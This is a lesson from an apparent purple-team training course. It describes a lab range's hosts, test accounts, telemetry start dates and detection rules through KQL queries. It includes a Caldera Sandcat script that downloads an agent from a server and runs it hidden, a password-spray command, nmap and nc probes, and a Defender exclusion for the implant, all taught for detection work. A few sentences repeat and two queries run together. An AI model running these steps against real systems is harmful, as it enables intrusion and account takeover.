Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
0.2 The Purple-Team Range
Introduction
The attacker leads, and the operator needs somewhere safe to lead from. Every test in this course runs against one small estate built for the purpose: the purple-team range. It is a workstation, a server and a Linux host on an isolated segment, joined to the case company's domain, watched by Defender, a SIEM and, from the second week, a network sensor, with an Entra test tenant beside it.
This lesson describes the range from its own records, the way the operator and the defender both learn it before the first test.
Nothing in this lesson comes from a diagram. Which hosts exist is a query on what reported; when each kind of telemetry starts is a query on its first row; which accounts are used is a query on the sign-ins.
That is deliberate. A range described from memory drifts away from the range that exists, and a purple team that tests against the drift reports results about an estate nobody has.
The range is also the reason this course can show you real answers. Every test the course quotes ran here, left its records here, and is in the recording you query in the console. When a lesson says a rule fired six minutes after a test, the query that shows it is on the page and returns that result.
The range is small on purpose. Three targets, one tenant and twenty rules are enough to run every kind of test the course teaches, and few enough that you can hold the whole estate in your head while reading a result.
A larger range would make the course's tests look more like a real estate and make every one of them harder to read, which is the wrong trade for learning the method.
Plan the round
The rules of the rangeThe range is safe because of a few rules agreed before it was built, and kept for every test since:
The decision line is the operator's first question about every procedure, before any question about detection. A procedure that could reach a production host, use a real person's account or leave a change that outlives the test does not run, however interesting its result would be. Lesson 1.4 turns these rules into the rules of engagement for a full exercise.
The white-card rule deserves a word now, because it appears in almost every later module.
A white card is a change the exercise needs that the defense would otherwise react to, such as a Defender exclusion so that a Caldera agent can run. It is written down, signed by the exercise controller, checked on the morning it is needed and removed afterward, so that no change made for a test ever becomes a gap the defense lives with.
The rules also make the defender's job possible, and they make the operator's results believable to anyone who reads them weeks or months later. With tests confined to the segment and the test accounts, anything from those hosts or accounts during a test window is the test's, and anything from elsewhere is not. A range that mixed test activity with ordinary users' work would leave every record ambiguous.
Your own lab will have its own rules of the same kind, and Module 1's charter is where you write them. The range's are a reasonable starting point: they fit on one card, each has a reason, and none of them depends on trusting anyone's memory of what was agreed.
The attack: the operator's tools on the range
Atomic Red Team, Caldera, and the procedures written by handThe range is defined by what the operator runs on it, so the lesson starts with the tools. Five do almost all of the engagement's work. Four are started from a prompt, the way the operator starts them: Atomic Red Team, MSOLSpray, Microsoft Graph and nmap. The fifth, Caldera, is started from its server, where the operator picks an adversary, a planner and a group of agents.
PS C:\> Invoke-AtomicTest T1053.005 -TestGuids $g -ExecutionLogPath $log
PS C:\> Invoke-MSOLSpray -UserList .\users.txt -Password 'Autumn2026!'
PS C:\> Connect-MgGraph -Scopes RoleManagement.ReadWrite.Directory
$ nmap -sS 10.0.9.0/24 -p 80
Atomic Red Team runs single procedures by GUID, and is the course's default. Caldera runs chained operations through an agent: the server sends abilities, the agent on the host runs them one by one, and the operator watches the links come back.
MSOLSpray and the Microsoft Graph PowerShell SDK cover the tenant, where the Atomic tests were written for a module Microsoft has retired. nmap covers the network from the Linux host. Everything else in the recording is a variant of one of these, typed by hand and logged with its exact command.
The tools were pointed at the range's targets. Every test in the recording before the capstone, by the target the operator logged:
From the operator's seat the range is a set of targets. Every test in the recording before the capstone, by the target the operator logged:
PurpleTestLog_CL
| where TimeGenerated < datetime(2026-09-30)
| summarize Tests = count() by TargetHost
| order by Tests desc
Six target values, most of them the workstation:
Target Tests
--------------------------------------- -----
NE-PT-WS01 59
Entra ID (nepurple) 9
NE-PT-SRV01 4
NE-PT-LNX01 3
Entra ID, NE-PT-WS01, NE-PT-SRV01 2
Exchange Online and Entra ID (nepurple) 1
The total is seventy-eight tests over a fortnight, which is a small engagement by any measure and a large one for a course: every one of them is in the recording with its records, and you will read many of them in detail before the capstone.
The workstation, NE-PT-WS01, takes most of the tests because most intrusions begin on a user's machine and because its telemetry is the richest on the range. The server, NE-PT-SRV01, takes the tests that need a second Windows host or a service installed remotely.
The Linux host, NE-PT-LNX01, takes the scans and the cron persistence. The tenant takes the identity and cloud tests, from the identity day onward, and two tests are chains that cross several targets.
The counts also show how the engagement grew. The first week tested the workstation, the server and the Linux host; the tenant appears from the second week, when it was connected, and the chains that cross targets appear once the tenant could be watched.
A purple team adds targets as it can see them, not before, because a test against a target it cannot see produces only a result it already knew.
A target in the operator's log is a promise about where to look. The defender reads a workstation test in Defender's tables, a server test there and in the Windows Security log, a Linux test in Syslog and the network records, and a tenant test in the sign-in and audit logs. Lesson 0.3 shows each of those tables.
Run it: a Caldera agent arrives on the workstation
Friday 18 September, before PT-0404Caldera needs an agent on the target before it can run anything, and the agent's arrival is itself an attack: a program downloaded from a server, written to a user folder and started hidden. Sandcat's Windows deployment, as the plugin writes it:
$server="#{app.contact.http}";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("architecture","#{agents.architecture}");
$wc.Headers.add("file","sandcat.go");
$data=$wc.DownloadData($url);
get-process |
? {$_.modules.filename -like "C:\Users\Public\#{agents.implant_name}.exe"} |
stop-process -f;
rm -force "C:\Users\Public\#{agents.implant_name}.exe" -ea ignore;
[io.file]::WriteAllBytes("C:\Users\Public\#{agents.implant_name}.exe",
$data) | Out-Null;
Start-Process -FilePath C:\Users\Public\#{agents.implant_name}.exe `
-ArgumentList "-server $server -group red" -WindowStyle hidden;
Defender would quarantine the agent on arrival, so the exercise's white card came first: an exclusion for the agent's one path. Friday's deployment, as the workstation recorded it:
union
(DeviceRegistryEvents | where RegistryKey has "Exclusions"
| project T = Timestamp, R = "Exclusion set", D = RegistryValueName),
(DeviceNetworkEvents | where RemoteIP == "10.0.9.50"
| project T = Timestamp, R = strcat(InitiatingProcessFileName, " to server"),
D = tostring(RemotePort)),
(DeviceProcessEvents | where FileName == "splunkd.exe"
| project T = Timestamp, R = "Agent started", D = ProcessCommandLine)
| where T between (datetime(2026-09-18T10:45:00Z) .. datetime(2026-09-18T10:58:00Z))
| order by T asc
The exclusion, the download, the agent's start and its first beacons to the server:
Time Record Detail
-------- ------------------------ ----------------------------------------------
10:50:12 Exclusion set C:\Users\Public\splunkd.exe
10:55:10 powershell.exe to server 8888
10:55:12 Agent started C:\Users\Public\splunkd.exe -server http://...
10:55:20 splunkd.exe to server 8888
10:56:27 splunkd.exe to server 8888
10:57:34 splunkd.exe to server 8888
The agent beaconed about once a minute, and at 11:00:30 Caldera delegated the first ability of the Enumerator adversary, WMIC process enumeration, which the operator logged as PT-0404. Every link that followed ran as a PowerShell process started by splunkd.exe in C:\Users\Public, which is exactly the shape the defense learns to look for.
The variant: what the range cannot see
PT-0111, an nmap scan from the Linux hostNot every tool leaves a trace on the range. On Tuesday 15 September the operator ran Atomic T1046's nmap test from the Linux host, PT-0111:
nmap -sS 10.0.9.0/24 -p 80
telnet 10.0.9.31 80
nc -nv 10.0.9.31 80
Every table that could hold a record of the scan, in its five minutes:
union
(DeviceNetworkEvents | project T = Timestamp),
(DeviceProcessEvents | project T = Timestamp),
(Syslog | where SyslogMessage has "nmap" | project T = TimeGenerated)
| where T between (datetime(2026-09-15T14:00:00Z) .. datetime(2026-09-15T14:05:00Z))
| count
The count, across process, network and Linux records for the scan's five minutes:
Count
-----
0
Nothing. No sensor watched the segment that week, and the Linux host recorded nothing of its own outbound probes. The operator knew this before running it, from the readiness record, and ran it anyway so the gap was measured rather than assumed. The note the team keeps beside the range's description:
The operator reads the range for what it cannot show, because those limits decide which results mean anything. The note the team keeps beside the range's description:
The limits are not secrets the operator keeps from the defender. They are written into the readiness record and the range's description, so both seats plan around them. A purple team that hid a limit to make a result look worse, or let one stand unmentioned to make a result look better, would be reporting on the range rather than on the defense.
Each limit has already produced a result in the recording. The missing file records are why one exercise's staged documents and archive were invisible; the missing sensor is why a scan from the Linux host in the first week left no trace; the egress allowlist is why one test's prerequisite download was refused.
None of those is a defect of the range. Each is a known limit that turns a test's outcome from a surprise into an expectation, once the plan reads it.
Detection follows: the computers that report
Six computers, and when each first reportedThe range's computers announce themselves by reporting to the workspace. Every computer with a heartbeat in the recording:
Heartbeat
| summarize First = min(TimeGenerated), Reports = count() by Computer, OSType
| order by Computer asc
Six computers, two of them domain controllers outside the range segment:
Computer OS First Reports
------------ ------- ---------------- -------
NE-DC01 Windows 2026-09-14 10:00 60
NE-DC02 Windows 2026-09-14 10:00 60
NE-PT-LNX01 Linux 2026-09-14 10:00 90
NE-PT-SRV01 Windows 2026-09-14 10:00 90
NE-PT-WS01 Windows 2026-09-21 08:50 36
NE-PT-ZEEK01 Linux 2026-09-22 08:14 30
The three range hosts are the operator's targets. The two domain controllers belong to the case company's domain: the range's hosts are joined to it, and the controllers record logons and directory queries the tests cause, but no test targets them. NE-PT-ZEEK01 is the network sensor, which first reported on 22 September, the day it was deployed.
The domain controllers matter more than their place on the list suggests. Every logon a test makes to a domain account, and every directory query a discovery test sends, is recorded on a controller, and several of the course's detections read those records. A test on the workstation can therefore leave evidence on three machines at once: the workstation itself, a controller, and the network sensor between them.
The heartbeat is a coarse record, written on the days the range was in use, and the course never uses it as evidence that a test was seen. Its job here is to list what exists. Whether a given host recorded a given step is always answered from the host's own tables, inside the step's window.
When each source starts
The day each kind of telemetry beginsThe defender's most important fact about the range is when each source began recording, because a test before that day cannot be seen in it. The first row of each source in the recording:
union
(DeviceProcessEvents | project T = Timestamp, Source = "DeviceProcessEvents"),
(SecurityEvent | project T = TimeGenerated, Source = "SecurityEvent"),
(Syslog | project T = TimeGenerated, Source = "Syslog"),
(IdentityQueryEvents | project T = Timestamp, Source = "IdentityQueryEvents"),
(Event | project T = TimeGenerated, Source = "Event"),
(SigninLogs | project T = TimeGenerated, Source = "SigninLogs"),
(Zeek_Conn_CL | project T = TimeGenerated, Source = "Zeek_Conn_CL"),
(DnsEvents | project T = TimeGenerated, Source = "DnsEvents")
| summarize First = min(T), Rows = count() by Source
| order by First asc
Eight sources in the recording, and they start on four different days:
Source First Rows
------------------- ---------------- ----
Syslog 2026-09-10 00:17 376
IdentityQueryEvents 2026-09-10 01:30 20
DeviceProcessEvents 2026-09-10 02:00 257
SecurityEvent 2026-09-10 08:01 102
Event 2026-09-21 09:00 38
SigninLogs 2026-09-22 07:30 96
DnsEvents 2026-09-22 08:00 425
Zeek_Conn_CL 2026-09-22 08:00 173
Defender's process events, the Windows Security log, Syslog and the identity sensor's queries run from the recording's first day. The workstation's PowerShell log, in the Event table, starts on 21 September, after the team decided to collect it.
Entra sign-ins, DNS and the network sensor's connection records all start on 22 September, the identity, network and cloud day. Every one of those dates is a boundary: a test on the wrong side of it is not visible, and the course classifies it that way rather than as a detection miss.
Start dates also change what a count means. A rule that reads SigninLogs could only ever have alerted from 22 September, so its alert count is a count over one week, not three.
A coverage table that compared it with a Defender rule counting over three weeks would make the tenant look quieter than it is. The course always states the window a count was taken over, and you will see the habit in every lesson.
Reading the start dates before reading any test is the defender's equivalent of the operator reading the range's limits. The build lessons at the end of this module, Lessons 0.7 to 0.11, produce this kind of readiness record for your own lab.
The identities
Two team accounts and twenty test accountsThe tenant's sign-ins show who uses it. Every account that signed in, by kind:
SigninLogs
| summarize Accounts = dcount(UserPrincipalName) by Kind = iff(UserPrincipalName
startswith "pt.test", "Test accounts", "Team accounts")
Twenty test accounts and two team accounts, and nobody else at all:
Kind Accounts
------------- --------
Team accounts 2
Test accounts 20
The team accounts are pt.operator, a standard account the operator works as, and pt.admin, an administrator used only where a procedure needs the rights. The test accounts, pt.test01 to pt.test20, exist to be targets: spray tests try passwords against them, role tests assign roles to them, and no person ever signs in as one.
A defender who sees a pt.test account in a record knows at once it belongs to a test, which is the point of naming them that way.
The two team accounts are kept apart for the same reason. A procedure run as pt.operator tests what a standard user's session can do and what the defense sees of it; the same procedure as pt.admin tests an administrator's. The difference matters to detections that treat the two differently, and the test log records which account every test used so the defender can tell.
The same split exists on the domain side, where the range's hosts are joined to the case company's directory. Tests that need a domain account use the team or test accounts there too.
The rules
Twenty range rules, seventeen that have firedThe range's detections are its own: twenty rules, PU-R01 to PU-R20, written in KQL for the range's workspace and given in SPL and Sigma as well. Each rule that has alerted at least once:
SecurityAlert
| where TimeGenerated < datetime(2026-09-30)
| extend Rule = extract(@"^(PU-R\d+)", 1, AlertName)
| where isnotempty(Rule)
| summarize Alerts = count() by Rule
| order by Rule asc
Seventeen of the range's rules with at least one alert each:
Rule Alerts
------ ------
PU-R01 6
PU-R02 3
PU-R03 4
PU-R04 4
PU-R05 2
PU-R06 4
PU-R07 1
PU-R09 3
PU-R11 1
PU-R12 3
PU-R14 1
PU-R15 4
... 5 more rows
Several of the rules have more than one version by now: a rule repaired after a test exposed a defect keeps its name and gains a version number, so its history is readable.
Three rules have never fired on a recorded day. They are not broken, as far as anyone knows; they are untested, which is a different thing, and the course treats a rule that has never fired as logic waiting for a test.
Every rule is also stored as a file, with a comment at the top recording when it was written, why, and what changed in each version.
A lesson that shows a rule shows it from that file, in the three forms, so what you read on the page is what runs on the range. When the course repairs a rule, the repair is a new version beside the old one, and both stay readable.
The rules are deliberately small and readable. A purple team learns more from a rule it can read in ten seconds and test in a minute than from a vendor's detection whose logic it cannot see, and every repair in the course is a change to a few lines.
The readiness record
What was checked before the first testBefore the first test the operator proved the range fit to run it. The readiness checks of Monday 14 September, by result:
PurpleReadiness_CL
| where TimeGenerated < datetime(2026-09-15)
| summarize Checks = count() by Result
Eight checks, and four of them passed outright:
Result Checks
------------- ------
Passed 4
Not run 1
Partial 1
Failed 1
Accepted risk 1
A readiness check is a small test of the range itself, run by the operator before any test of the defense: send a canary, look for its record, and write down what arrived. It is the same method as the rest of the course, applied to the instruments rather than the detections, and it is what lets a later result be trusted.
The four that did not pass are the range's limits, written down on day one: a DNS path that reaches the internet, accepted as a risk; a test account that could sign in where it should not; an endpoint canary that produced no file records; and a network sensor check that could not run because there was no sensor.
Each of the later results the operator's note mentions was predicted by one of these checks. Lessons 0.7 to 0.11 have you run the same checks on your own lab, and Lesson 10.1 reads this record as the start of a plan.
The range at a glance
Each target, and what records itPut together, the range is four places a test can land, each with the records the defense keeps there:
The same map as a lookup, for the moment a lesson names a target and you need its tables:
Keep the lookup open beside the console while you work the early modules. Most early mistakes in reading a test are a table looked for in the wrong place, and the lookup turns that into a glance.
The figure is the map every later lesson assumes. When a lesson reads a test, its first move is to find the test's target on this map and read the records listed beside it, inside the test's window.
Validate
The range by its Defender devices, and by everything that reportsThe obvious way to list the range is by the devices Defender knows:
DeviceInfo
| summarize by DeviceName, OSPlatformHeartbeat
| summarize First = min(TimeGenerated), Reports = count()
by Computer, OSType
| order by Computer ascThe difference between the two lists is the most common mistake a new purple team makes about its own estate: assuming that the EDR's device list is the estate. Every source in the range has its own agent or connector, and each one reports on its own schedule.
A defender who knows which agent records which host can go straight to the right table; one who does not will search Defender for a Linux scan and conclude that nothing happened.
The refined list is the range as the defender reads it. On the chain both seats use, the range reads:
Outcome chain
The rangeWhat the range gives the course
Every result in it is a recorded one.
- Safe targets, test accounts and documented procedures.
- Every source, with the day it began.
- One recording, queried in the console by every lesson.
A small, safe estate whose every fact is a query on its own records.
The range is also a record of decisions, and the decisions are part of what the course teaches. Collecting the PowerShell log from 21 September, connecting the tenant and deploying the sensor on 22 September were each a response to something a test had shown, and each changed what later tests could see.
A purple team that can point to the test behind every change in its instruments is running the method; one that changes its instruments without a reason recorded is guessing.
You will build a smaller version of the same range in your own lab in Lessons 0.7 to 0.11, on the Microsoft stack, a free stack, or both.
Adapt: four places a test can land
And what each recordsThe same technique lands differently depending on where the operator runs it, and each place records different evidence:
The workstation, NE-PT-WS01
The server, NE-PT-SRV01
The Linux host, NE-PT-LNX01
The Entra test tenant
The two marks in each row are a quick summary of where a test's evidence can be. A workstation test has both, because a test there can touch the domain and the tenant through the user's sessions; a Linux test has only process records, through Syslog; a tenant test has only identity records. Reading the row before the test runs tells the defender which tables to open.
A credential test on the workstation leaves process records and no tenant records; the same idea against the tenant leaves sign-ins and no process records. The defender's first job with any test is to read the place it landed, because the place decides which tables can hold its evidence.
A test whose evidence is looked for in the wrong table is reported as missed, and that mistake is the easiest one in purple teaming to make.
Learn the range from its records
The case below reads the range from its own recording: what the operator tested, when each source began, who signs in and which rules have fired. Work in the platform's Advanced hunting console with the Purple Range selected.
Keep the answers. Lesson 0.3 reads the same sources table by table, and several of the course's later results depend on the start dates you have just found: a test that looks silent in the first week often turns out to be outside a source that had not yet started.
The second answer is the one to keep in mind for the rest of the course: a test on the tenant before 22 September could not have been seen, and the course never counts that as a missed detection.
Practice
Map one more source your labThe practice is in the console, against the recording; your own lab is built in Lessons 0.7 to 0.11.
Defender: pick a source
Choose a table the lesson did not count, such as IdentityLogonEvents or OfficeActivity.
Defender: its first row
Find when it began recording, and how many rows it holds.
Operator: its tests
Find a test whose evidence would be in it, from the test log.
Both: write it down
Add the source, its start date and its target to the lesson's lookup.
What you should end up with: One more line in the range's lookup, with its start date and a test it records.
Resources
Publishers revise these pages; where a page and this lesson disagree, the page is newer.